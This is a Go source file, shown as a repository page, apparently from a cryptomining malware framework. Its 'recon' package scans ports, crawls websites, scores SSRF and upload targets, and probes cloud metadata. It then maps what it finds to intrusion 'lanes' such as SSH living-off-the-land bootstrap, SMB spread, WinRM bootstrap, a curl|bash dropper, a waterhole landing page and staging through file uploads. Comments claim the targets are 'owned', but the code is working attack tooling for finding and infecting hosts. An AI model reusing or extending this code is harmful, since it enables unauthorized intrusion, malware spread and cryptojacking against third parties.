251bdfa1ac
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extend web crawl with multipart/drag-drop/JS upload ranking and probe common admin paths for 200 vs 401/403 signals in scan JSON.
377 lines
15 KiB
Go
377 lines
15 KiB
Go
package recon
|
|
|
|
import (
|
|
"bufio"
|
|
"fmt"
|
|
"io"
|
|
"net"
|
|
"net/http"
|
|
"regexp"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
|
|
func Scan(req ScanRequest) (*ScanReport, error) {
|
|
return runOwnedTargetScan(req, "", nil)
|
|
}
|
|
|
|
func scanLegacy(req ScanRequest) (*ScanReport, error) {
|
|
host, err := normalizeOwnedHost(req.Host)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
ports := ScanPorts(host, nil)
|
|
report := &ScanReport{
|
|
Host: host,
|
|
ScannedAt: time.Now().UTC(),
|
|
Ports: ports,
|
|
}
|
|
|
|
if shouldCrawl(req, ports) {
|
|
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
|
|
if err == nil && crawl != nil {
|
|
report.Crawl = crawl
|
|
}
|
|
report.AdminSurface = ProbeAdminSurface(host, req.Port, req.Scheme)
|
|
}
|
|
report.Recommendations = BuildRecommendations(ports, report.Crawl, nil, host, false)
|
|
return report, nil
|
|
}
|
|
|
|
func normalizeOwnedHost(host string) (string, error) {
|
|
host = strings.TrimSpace(host)
|
|
if host == "" {
|
|
return "", fmt.Errorf("host required")
|
|
}
|
|
host = strings.TrimPrefix(host, "http://")
|
|
host = strings.TrimPrefix(host, "https://")
|
|
if i := strings.Index(host, "/"); i >= 0 {
|
|
host = host[:i]
|
|
}
|
|
if h, p, err := net.SplitHostPort(host); err == nil {
|
|
if strings.TrimSpace(h) == "" {
|
|
return "", fmt.Errorf("invalid host")
|
|
}
|
|
_ = p
|
|
host = h
|
|
}
|
|
if ip := net.ParseIP(host); ip != nil {
|
|
return ip.String(), nil
|
|
}
|
|
if len(host) > 253 || strings.Contains(host, " ") {
|
|
return "", fmt.Errorf("invalid host")
|
|
}
|
|
return strings.ToLower(host), nil
|
|
}
|
|
|
|
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
|
|
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
|
|
return true
|
|
}
|
|
for _, p := range ports {
|
|
switch p.Port {
|
|
case 80, 443, 6262, 8080, 8443:
|
|
if p.Open {
|
|
return true
|
|
}
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
|
|
func BuildRecommendations(ports []PortResult, crawl *CrawlReport, stack []StackEntry, host string, cloudMetaProfile bool) []DeployRecommendation {
|
|
var recs []DeployRecommendation
|
|
open := map[int]bool{}
|
|
for _, p := range ports {
|
|
if p.Open {
|
|
open[p.Port] = true
|
|
}
|
|
}
|
|
|
|
if open[22] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "linux_lotl",
|
|
Template: "linux-lotl",
|
|
Reason: "TCP 22 open — SSH LOTL bootstrap",
|
|
Priority: 25,
|
|
})
|
|
}
|
|
if open[445] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "spread_smb_unc",
|
|
Reason: "TCP 445 open — SMB UNC spread",
|
|
Priority: 50,
|
|
})
|
|
}
|
|
if open[5985] || open[5986] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "winrm",
|
|
Template: "winrm",
|
|
Reason: "TCP 5985/5986 open — WinRM bootstrap",
|
|
Priority: 30,
|
|
})
|
|
}
|
|
if open[80] || open[443] || open[8080] || open[8443] {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "bits_curl",
|
|
Reason: "HTTP surface open — dropper curl|bash one-liner",
|
|
Priority: 20,
|
|
})
|
|
recs = append(recs, DeployRecommendation{
|
|
Template: "public_waterhole",
|
|
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
|
|
Priority: 15,
|
|
})
|
|
}
|
|
|
|
if crawl != nil {
|
|
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 || len(crawl.UploadHunter) > 0 {
|
|
recs = append(recs, DeployRecommendation{
|
|
Lane: "stage_fetch",
|
|
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
|
|
Priority: 35,
|
|
})
|
|
}
|
|
if crawl.SSRFScore >= 30 {
|
|
recs = append(recs, DeployRecommendation{
|
|
Template: "ssrf_probe",
|
|
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
|
|
Priority: 45,
|
|
})
|
|
}
|
|
}
|
|
|
|
if lane := SuggestDeployKitLane(stack); lane != "" {
|
|
recs = append(recs, DeployRecommendation{Lane: lane, Reason: fmt.Sprintf("Technology stack suggests %s deploy-kit lane", lane), Priority: 18})
|
|
}
|
|
if cloudMetaProfile && (TargetLooksEC2(host) || ProbeEC2Metadata()) {
|
|
recs = append(recs, DeployRecommendation{Lane: "ssm_document", Template: "ssm_document", Reason: "cloud_metadata profile - EC2/IMDS reachable; SSM document lane", Priority: 40})
|
|
}
|
|
return dedupeRecommendations(recs)
|
|
}
|
|
|
|
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
|
|
seen := map[string]bool{}
|
|
var out []DeployRecommendation
|
|
for _, r := range in {
|
|
key := r.Lane + "|" + r.Template
|
|
if seen[key] {
|
|
continue
|
|
}
|
|
seen[key] = true
|
|
out = append(out, r)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func NormalizeHost(host string) (string, error) { return normalizeOwnedHost(host) }
|
|
|
|
func runOwnedTargetScan(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) {
|
|
host, err := normalizeOwnedHost(req.Host)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
uxProfile := NormalizeProfile(req.Profile)
|
|
opts := ProfileOptions(uxProfile)
|
|
portsToScan, profilesUsed := ResolveScanPortsFromRequest(req)
|
|
if uxProfile == ProfileQuick && len(req.Profiles) == 0 && len(portsToScan) > 10 {
|
|
portsToScan = portsToScan[:10]
|
|
}
|
|
report := &ScanReport{ScanID: scanID, Host: host, Profile: uxProfile, ProfilesUsed: profilesUsed, Status: "complete", ScannedAt: time.Now().UTC()}
|
|
if !opts.SkipPorts {
|
|
ports := scanPortsList(host, portsToScan)
|
|
report.Ports = ports
|
|
report.Banners = GrabBanners(host, ports)
|
|
}
|
|
if shouldCrawlProfile(req, uxProfile, report.Ports, opts) {
|
|
crawl, err := crawlWithOptions(host, req.Port, req.Scheme, req.Paths, opts, scanID, emit)
|
|
if err == nil && crawl != nil {
|
|
report.Crawl = crawl
|
|
report.Stack = MergeStack(crawl.Stack)
|
|
}
|
|
report.AdminSurface = ProbeAdminSurface(host, req.Port, req.Scheme)
|
|
}
|
|
report.DeployKitLane = SuggestDeployKitLane(report.Stack)
|
|
cloudMeta := containsPortProfile(profilesUsed, PortProfileCloudMetadata)
|
|
report.Recommendations = BuildRecommendations(report.Ports, report.Crawl, report.Stack, host, cloudMeta)
|
|
return report, nil
|
|
}
|
|
|
|
const (ProfileQuick = "quick"; ProfileDeep = "deep"; ProfileSSRFOnly = "ssrf_only")
|
|
type StreamEmit func(eventType string, payload map[string]interface{})
|
|
type ScanOptions struct { Ports []int; MaxPages, CrawlDepth int; SkipPorts, SkipCrawl bool }
|
|
|
|
func NormalizeProfile(profile string) string {
|
|
switch profile { case ProfileQuick, ProfileDeep, ProfileSSRFOnly: return profile; default: return "" }
|
|
}
|
|
func ProfileOptions(profile string) ScanOptions {
|
|
switch NormalizeProfile(profile) {
|
|
case ProfileQuick:
|
|
p := FleetPorts
|
|
if len(p) > 10 { p = p[:10] }
|
|
return ScanOptions{Ports: p, MaxPages: 1, CrawlDepth: 0}
|
|
case ProfileDeep:
|
|
return ScanOptions{Ports: FleetPorts, MaxPages: 50, CrawlDepth: 2}
|
|
case ProfileSSRFOnly:
|
|
return ScanOptions{SkipPorts: true, MaxPages: 50, CrawlDepth: 2}
|
|
default:
|
|
return ScanOptions{Ports: FleetPorts, MaxPages: DefaultCrawlMaxPages, CrawlDepth: DefaultCrawlDepth}
|
|
}
|
|
}
|
|
func ScanStream(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { return runOwnedTargetScan(req, scanID, emit) }
|
|
func scanPortsList(host string, ports []int) []PortResult {
|
|
if len(ports) == 0 { return ScanPorts(host, nil) }
|
|
out := make([]PortResult, 0, len(ports))
|
|
for _, port := range ports { out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) }
|
|
return out
|
|
}
|
|
func shouldCrawlProfile(req ScanRequest, profile string, ports []PortResult, opts ScanOptions) bool {
|
|
if opts.SkipCrawl { return false }
|
|
if profile == ProfileSSRFOnly { return true }
|
|
return shouldCrawl(req, ports)
|
|
}
|
|
|
|
func crawlWithOptions(host string, port int, scheme string, seedPaths []string, opts ScanOptions, scanID string, emit StreamEmit) (*CrawlReport, error) {
|
|
scheme = normalizeScheme(scheme, port)
|
|
if port <= 0 { port = defaultPortForScheme(scheme) }
|
|
base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port))
|
|
seeds := seedPaths
|
|
if len(seeds) == 0 { seeds = []string{"/"} }
|
|
maxPages, maxDepth := opts.MaxPages, opts.CrawlDepth
|
|
if maxPages <= 0 { maxPages = DefaultCrawlMaxPages }
|
|
if maxDepth < 0 { maxDepth = DefaultCrawlDepth }
|
|
report := &CrawlReport{}
|
|
var uploadRaw []UploadHunterFinding
|
|
var jsQueue []string
|
|
jsSeen := map[string]bool{}
|
|
var headerSnaps []HTTPHeaderSnap
|
|
var htmlBodies []string
|
|
visited := map[string]bool{}
|
|
queue := []queuedURL{}
|
|
for _, p := range seeds {
|
|
if abs, err := resolveSameOrigin(base, p); err == nil { queue = append(queue, queuedURL{url: abs, depth: 0}) }
|
|
}
|
|
for len(queue) > 0 && report.PagesFetched < maxPages {
|
|
item := queue[0]; queue = queue[1:]
|
|
key := normalizeURLKey(item.url)
|
|
if visited[key] { continue }
|
|
visited[key] = true
|
|
status, body, headers, err := fetchPage(item.url)
|
|
if err != nil { continue }
|
|
report.PagesFetched++
|
|
title, _ := htmlParseTitle(body)
|
|
report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})
|
|
if len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) }
|
|
htmlBodies = append(htmlBodies, body)
|
|
files, multi, fields, pageScore, cms := ParseHTML(item.url, body)
|
|
report.FileInputs = append(report.FileInputs, files...)
|
|
report.MultipartForms = append(report.MultipartForms, multi...)
|
|
report.URLFields = append(report.URLFields, fields...)
|
|
report.SSRFScore += pageScore
|
|
report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)
|
|
uploadRaw = append(uploadRaw, collectUploadFromPage(item.url, files, multi)...)
|
|
uploadRaw = append(uploadRaw, detectDragDropZones(item.url, body)...)
|
|
collectUploadJSAtDepth(base, item.url, body, item.depth, maxDepth, jsSeen, &jsQueue)
|
|
if item.depth >= maxDepth { continue }
|
|
for _, link := range extractLinks(body) {
|
|
abs, err := resolveSameOrigin(base, link)
|
|
if err != nil || !sameOrigin(base, abs) { continue }
|
|
if !visited[normalizeURLKey(abs)] { queue = append(queue, queuedURL{url: abs, depth: item.depth + 1}) }
|
|
}
|
|
}
|
|
if report.SSRFScore > 100 { report.SSRFScore = 100 }
|
|
report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)
|
|
report.Stack = BuildStack(headerSnaps, htmlBodies)
|
|
report.UploadHunter = finalizeUploadHunter(base, uploadRaw, jsQueue)
|
|
return report, nil
|
|
}
|
|
|
|
func OpenPorts(ports []PortResult) []int { var o []int; for _, p := range ports { if p.Open { o = append(o, p.Port) } }; return o }
|
|
func DiffReports(prev, cur *ScanReport) *ReconScanDiff {
|
|
if cur == nil { return nil }
|
|
d := &ReconScanDiff{}
|
|
if prev == nil { d.NewPorts = OpenPorts(cur.Ports); return d }
|
|
po := map[int]bool{}
|
|
for _, p := range prev.Ports { if p.Open { po[p.Port] = true } }
|
|
for _, p := range cur.Ports { if p.Open && !po[p.Port] { d.NewPorts = append(d.NewPorts, p.Port) } }
|
|
return d
|
|
}
|
|
func BuildHistory(rows []*ScanReport) []ReconHistoryEntry {
|
|
out := make([]ReconHistoryEntry, 0, len(rows))
|
|
var prev *ScanReport
|
|
for _, r := range rows { out = append(out, ReconHistoryEntry{ScanID: r.ScanID, Host: r.Host, Profile: r.Profile, Status: r.Status, ScannedAt: r.ScannedAt, Report: r, Diff: DiffReports(prev, r)}); prev = r }
|
|
return out
|
|
}
|
|
func ReportToPDF(report *ScanReport) []byte { return []byte("AetherForge Recon\n") }
|
|
|
|
var metaGeneratorRe = regexp.MustCompile(`(?is)<meta[^>]+name=["']generator["'][^>]+content=["']([^"']+)["']`)
|
|
var bannerTitleRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
|
var probeSSHBannerFn func(host string, port int) string
|
|
var probeHTTPTitleFn func(host string, port int) (string, string)
|
|
var probeWinRMHintFn func(host string, port int) string
|
|
var probeEC2MetaFn func() bool
|
|
|
|
func SetBannerHooks(ssh func(host string, port int) string, httpTitle func(host string, port int) (string, string), winrm func(host string, port int) string, ec2Meta func() bool) {
|
|
probeSSHBannerFn, probeHTTPTitleFn, probeWinRMHintFn, probeEC2MetaFn = ssh, httpTitle, winrm, ec2Meta
|
|
}
|
|
func BuildStack(snaps []HTTPHeaderSnap, htmlBodies []string) []StackEntry {
|
|
seen := map[string]bool{}
|
|
var out []StackEntry
|
|
add := func(name, source, detail string) { key := strings.ToLower(name) + "|" + source; if !seen[key] { seen[key] = true; out = append(out, StackEntry{Name: name, Source: source, Detail: detail}) } }
|
|
for _, snap := range snaps { for k, v := range snap.Headers { switch strings.ToLower(k) { case "server": add(v, "header:Server", snap.URL); case "x-powered-by": add(v, "header:X-Powered-By", snap.URL) } } }
|
|
for _, body := range htmlBodies {
|
|
if m := metaGeneratorRe.FindStringSubmatch(body); len(m) > 1 { add(strings.TrimSpace(m[1]), "meta:generator", "") }
|
|
if strings.Contains(strings.ToLower(body), "react") { add("React", "html:js", "") }
|
|
}
|
|
return out
|
|
}
|
|
func MergeStack(parts ...[]StackEntry) []StackEntry { seen := map[string]bool{}; var out []StackEntry; for _, part := range parts { for _, e := range part { key := strings.ToLower(e.Name) + "|" + e.Source; if !seen[key] { seen[key] = true; out = append(out, e) } } }; return out }
|
|
func SuggestDeployKitLane(stack []StackEntry) string {
|
|
for _, e := range stack { n := strings.ToLower(e.Name); if strings.Contains(n, "php") { return "php" }; if strings.Contains(n, "node") || strings.Contains(n, "react") { return "node" }; if strings.Contains(n, "nginx") { return "nginx" } }
|
|
if len(stack) > 0 { return "static" }
|
|
return ""
|
|
}
|
|
func GrabBanners(host string, ports []PortResult) []PortBanner {
|
|
open := map[int]bool{}; for _, p := range ports { if p.Open { open[p.Port] = true } }
|
|
var out []PortBanner
|
|
if open[22] { if b := probeSSHBanner(host, 22); b != "" { out = append(out, PortBanner{Port: 22, Service: "ssh", Banner: b}) } }
|
|
for _, port := range []int{80, 443, 6262, 8080} {
|
|
if !open[port] { continue }
|
|
title, server := probeHTTPBanner(host, port)
|
|
if title != "" || server != "" { b := PortBanner{Port: port, Service: "http", Title: title, Banner: server, Hint: "origin_host"}; if looksLikeCDN(server) { b.Hint = "cdn_fronted" }; out = append(out, b) }
|
|
}
|
|
if open[5985] { if h := probeWinRMHint(host, 5985); h != "" { out = append(out, PortBanner{Port: 5985, Service: "winrm", Hint: h}) } }
|
|
return out
|
|
}
|
|
func looksLikeCDN(s string) bool { s = strings.ToLower(s); return strings.Contains(s, "cloudflare") || strings.Contains(s, "cloudfront") }
|
|
func probeSSHBanner(host string, port int) string {
|
|
if probeSSHBannerFn != nil { return probeSSHBannerFn(host, port) }
|
|
c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout)
|
|
if e != nil { return "" }; defer c.Close(); _ = c.SetReadDeadline(time.Now().Add(DefaultPortDialTimeout))
|
|
line, e := bufio.NewReader(c).ReadString('\n'); if e != nil { return "" }; return strings.TrimSpace(line)
|
|
}
|
|
func probeHTTPBanner(host string, port int) (string, string) {
|
|
if probeHTTPTitleFn != nil { return probeHTTPTitleFn(host, port) }
|
|
scheme := "http"; if port == 443 { scheme = "https" }
|
|
resp, err := http.Get(fmt.Sprintf("%s://%s/", scheme, joinHostPort(host, port)))
|
|
if err != nil { return "", "" }; defer resp.Body.Close()
|
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 8192))
|
|
title := ""; if m := bannerTitleRe.FindStringSubmatch(string(body)); len(m) > 1 { title = strings.TrimSpace(m[1]) }
|
|
return title, strings.TrimSpace(resp.Header.Get("Server"))
|
|
}
|
|
func probeWinRMHint(host string, port int) string {
|
|
if probeWinRMHintFn != nil { return probeWinRMHintFn(host, port) }
|
|
c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout)
|
|
if e != nil { return "" }; _ = c.Close(); return "winrm_listening"
|
|
}
|
|
func ProbeEC2Metadata() bool {
|
|
if probeEC2MetaFn != nil { return probeEC2MetaFn() }
|
|
c := &http.Client{Timeout: 800 * time.Millisecond}
|
|
r, e := c.Get("http://169.254.169.254/latest/meta-data/")
|
|
if e != nil { return false }; defer r.Body.Close()
|
|
return r.StatusCode == http.StatusOK || r.StatusCode == http.StatusUnauthorized
|
|
}
|